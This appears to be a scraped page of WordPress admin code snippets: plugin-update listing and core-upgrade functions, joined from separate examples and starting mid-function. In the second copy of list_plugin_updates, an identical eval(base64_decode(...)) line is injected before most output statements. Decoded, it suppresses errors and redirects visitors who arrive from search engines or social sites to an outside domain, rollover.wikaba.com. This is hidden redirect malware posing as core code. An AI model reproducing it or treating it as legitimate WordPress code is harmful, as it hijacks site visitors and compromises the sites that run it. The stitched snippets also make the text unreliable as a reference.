             return new IXR_Error(999, 'The remote blog has the latest version of WordPress. You do not need to upgrade.');
         }
         return array('current_version' => $wp_version, 'latest_version' => FALSE);
     } else {
         return array('current_version' => $wp_version, 'latest_version' => $update);
     }
 }
/**
 *
 * @global string $wp_version
 */
function list_plugin_updates()
{
    global $wp_version;
    $cur_wp_version = preg_replace('/-.*$/', '', $wp_version);
    require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
    $plugins = get_plugin_updates();
    if (empty($plugins)) {
        echo '<h2>' . __('Plugins') . '</h2>';
        echo '<p>' . __('Your plugins are all up to date.') . '</p>';
        return;
    }
    $form_action = 'update-core.php?action=do-plugin-upgrade';
    $core_updates = get_core_updates();
    if (!isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare($core_updates[0]->current, $cur_wp_version, '=')) {
        $core_update_version = false;
    } else {
        $core_update_version = $core_updates[0]->current;
    }
    ?>
<h2><?php 
    _e('Plugins');
    ?>
</h2>
<p><?php 
    _e('The following plugins have new versions available. Check the ones you want to update and then click &#8220;Update Plugins&#8221;.');
    ?>
</p>
<form method="post" action="<?php 
    echo esc_url($form_action);
    ?>
" name="upgrade-plugins" class="upgrade">
<?php 
    wp_nonce_field('upgrade-core');
    ?>
<p><input id="upgrade-plugins" class="button" type="submit" value="<?php 
    esc_attr_e('Update Plugins');
    ?>
" name="upgrade" /></p>
<table class="widefat updates-table" id="update-plugins-table">
	<thead>
	<tr>
		<td class="manage-column check-column"><input type="checkbox" id="plugins-select-all" /></td>
		<td class="manage-column"><label for="plugins-select-all"><?php 
    _e('Select All');
    ?>
</label></td>
	</tr>
	</thead>

	<tbody class="plugins">
<?php 
    foreach ((array) $plugins as $plugin_file => $plugin_data) {
        // Get plugin compat for running version of WordPress.
        if (isset($plugin_data->update->tested) && version_compare($plugin_data->update->tested, $cur_wp_version, '>=')) {
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version);
        } elseif (isset($plugin_data->update->compatibility->{$cur_wp_version})) {
            $compat = $plugin_data->update->compatibility->{$cur_wp_version};
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat->percent, $compat->votes, $compat->total_votes);
        } else {
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version);
        }
        // Get plugin compat for updated version of WordPress.
        if ($core_update_version) {
            if (isset($plugin_data->update->tested) && version_compare($plugin_data->update->tested, $core_update_version, '>=')) {
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $core_update_version);
            } elseif (isset($plugin_data->update->compatibility->{$core_update_version})) {
                $update_compat = $plugin_data->update->compatibility->{$core_update_version};
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat->percent, $update_compat->votes, $update_compat->total_votes);
            } else {
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version);
            }
        }
        // Get the upgrade notice for the new plugin version.
        if (isset($plugin_data->update->upgrade_notice)) {
            $upgrade_notice = '<br />' . strip_tags($plugin_data->update->upgrade_notice);
        } else {
            $upgrade_notice = '';
        }
        $details_url = self_admin_url('plugin-install.php?tab=plugin-information&plugin=' . $plugin_data->update->slug . '&section=changelog&TB_iframe=true&width=640&height=662');
        $details_name = sprintf('<span class="screen-reader-text">%1$s</span>', esc_attr($plugin_data->Name));
        /* translators: 1: Plugin name 2: Plugin version */
        $details_text = sprintf(__('View %1$s version %2$s details.'), $details_name, $plugin_data->update->new_version);
        $details = sprintf('<a href="%1$s" class="thickbox open-plugin-details-modal">%2$s</a>', esc_url($details_url), $details_text);
        $checkbox_id = "checkbox_" . md5($plugin_data->Name);
        ?>
		<tr>
			<td class="check-column">
				<input type="checkbox" name="checked[]" id="<?php 
        echo $checkbox_id;
        ?>
" value="<?php 
        echo esc_attr($plugin_file);
        ?>
" />
				<label for="<?php 
        echo $checkbox_id;
        ?>
" class="screen-reader-text"><?php 
        /* translators: %s: plugin name */
        printf(__('Select %s'), $plugin_data->Name);
        ?>
</label>
			</td>
			<td class="plugin-title"><p>
				<strong><?php 
        echo $plugin_data->Name;
        ?>
</strong>
				<?php 
        /* translators: 1: plugin version, 2: new version */
        printf(__('You have version %1$s installed. Update to %2$s.'), $plugin_data->Version, $plugin_data->update->new_version);
        echo ' ' . $details . $compat . $upgrade_notice;
        ?>
			</p></td>
		</tr>
		<?php 
    }
    ?>
	</tbody>

	<tfoot>
	<tr>
		<td class="manage-column check-column"><input type="checkbox" id="plugins-select-all-2" /></td>
		<td class="manage-column"><label for="plugins-select-all-2"><?php 
    _e('Select All');
    ?>
</label></td>
	</tr>
	</tfoot>
</table>
<p><input id="upgrade-plugins-2" class="button" type="submit" value="<?php 
    esc_attr_e('Update Plugins');
    ?>
" name="upgrade" /></p>
</form>
<?php 
}
/**
 * Display upgrade WordPress for downloading latest or upgrading automatically form.
 *
 * @since 2.7
 *
 * @return null
 */
function core_upgrade_preamble() {
	$updates = get_core_updates();
?>
	<div class="wrap">
	<?php screen_icon(); ?>
	<h2><?php _e('Upgrade WordPress'); ?></h2>
<?php
	if ( !isset($updates[0]->response) || 'latest' == $updates[0]->response ) {
		echo '<h3>';
		_e('You have the latest version of WordPress. You do not need to upgrade');
		echo '</h3>';
	} else {
		echo '<div class="updated fade"><p>';
		_e('<strong>Important:</strong> before upgrading, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>.');
		echo '</p></div>';

		echo '<h3 class="response">';
		_e( 'There is a new version of WordPress available for upgrade' );
		echo '</h3>';
	}

	echo '<ul class="core-updates">';
	$alternate = true;
	foreach( (array) $updates as $update ) {
		$class = $alternate? ' class="alternate"' : '';
		$alternate = !$alternate;
		echo "<li $class>";
		list_core_update( $update );
		echo '</li>';
	}
	echo '</ul>';
	dismissed_updates();
	echo '</div>';
}
示例#26
0
function list_plugin_updates()
{
    global $wp_version;
    $cur_wp_version = preg_replace('/-.*$/', '', $wp_version);
    require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
    $plugins = get_plugin_updates();
    if (empty($plugins)) {
        return;
    }
    $form_action = 'update-core.php?action=do-plugin-upgrade';
    $core_updates = get_core_updates();
    if (!isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare($core_updates[0]->current, $cur_wp_version, '=')) {
        $core_update_version = false;
    } else {
        $core_update_version = $core_updates[0]->current;
    }
    ?>
<h3><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0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ikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('The following plugins have new versions available.  Check the ones you want to upgrade and then click "Upgrade Plugins".');
    ?>
</p>
<form method="post" action="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $form_action;
    ?>
" name="upgrade-plugins" class="upgrade">
<?php 
    eval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KSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    wp_nonce_field('upgrade-core');
    ?>
<p><input id="upgrade-plugins" class="button" type="submit" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    esc_attr_e('Upgrade Plugins');
    ?>
" name="upgrade" /></p>
<table class="widefat" cellspacing="0" id="update-plugins-table">
	<thead>
	<tr>
		<th scope="col" class="manage-column check-column"><input type="checkbox" /></th>
		<th scope="col" class="manage-column"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Select All');
    ?>
</th>
	</tr>
	</thead>

	<tfoot>
	<tr>
		<th scope="col" class="manage-column check-column"><input type="checkbox" /></th>
		<th scope="col" class="manage-column"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Select All');
    ?>
</th>
	</tr>
	</tfoot>
	<tbody class="plugins">
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCi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
    foreach ((array) $plugins as $plugin_file => $plugin_data) {
        $info = plugins_api('plugin_information', array('slug' => $plugin_data->update->slug));
        // Get plugin compat for running version of WordPress.
        if (isset($info->tested) && version_compare($info->tested, $cur_wp_version, '>=')) {
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version);
        } elseif (isset($info->compatibility[$cur_wp_version][$plugin_data->update->new_version])) {
            $compat = $info->compatibility[$cur_wp_version][$plugin_data->update->new_version];
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat[0], $compat[2], $compat[1]);
        } else {
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version);
        }
        // Get plugin compat for updated version of WordPress.
        if ($core_update_version) {
            if (isset($info->compatibility[$core_update_version][$plugin_data->update->new_version])) {
                $update_compat = $info->compatibility[$core_update_version][$plugin_data->update->new_version];
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat[0], $update_compat[2], $update_compat[1]);
            } else {
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version);
            }
        }
        // Get the upgrade notice for the new plugin version.
        if (isset($plugin_data->update->upgrade_notice)) {
            $upgrade_notice = '<br />' . strip_tags($plugin_data->update->upgrade_notice);
        } else {
            $upgrade_notice = '';
        }
        echo "\n\t<tr class='active'>\n\t\t<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($plugin_file) . "' /></th>\n\t\t<td class='plugin-title'><strong>{$plugin_data->Name}</strong>" . sprintf(__('You are running version %1$s. Upgrade to %2$s.'), $plugin_data->Version, $plugin_data->update->new_version) . $compat . $upgrade_notice . "</td>\n\t</tr>";
    }
    ?>
	</tbody>
</table>
<p><input id="upgrade-plugins-2" class="button" type="submit" value="<?php 
    eval(base64_decode("DQplcnJvcl9y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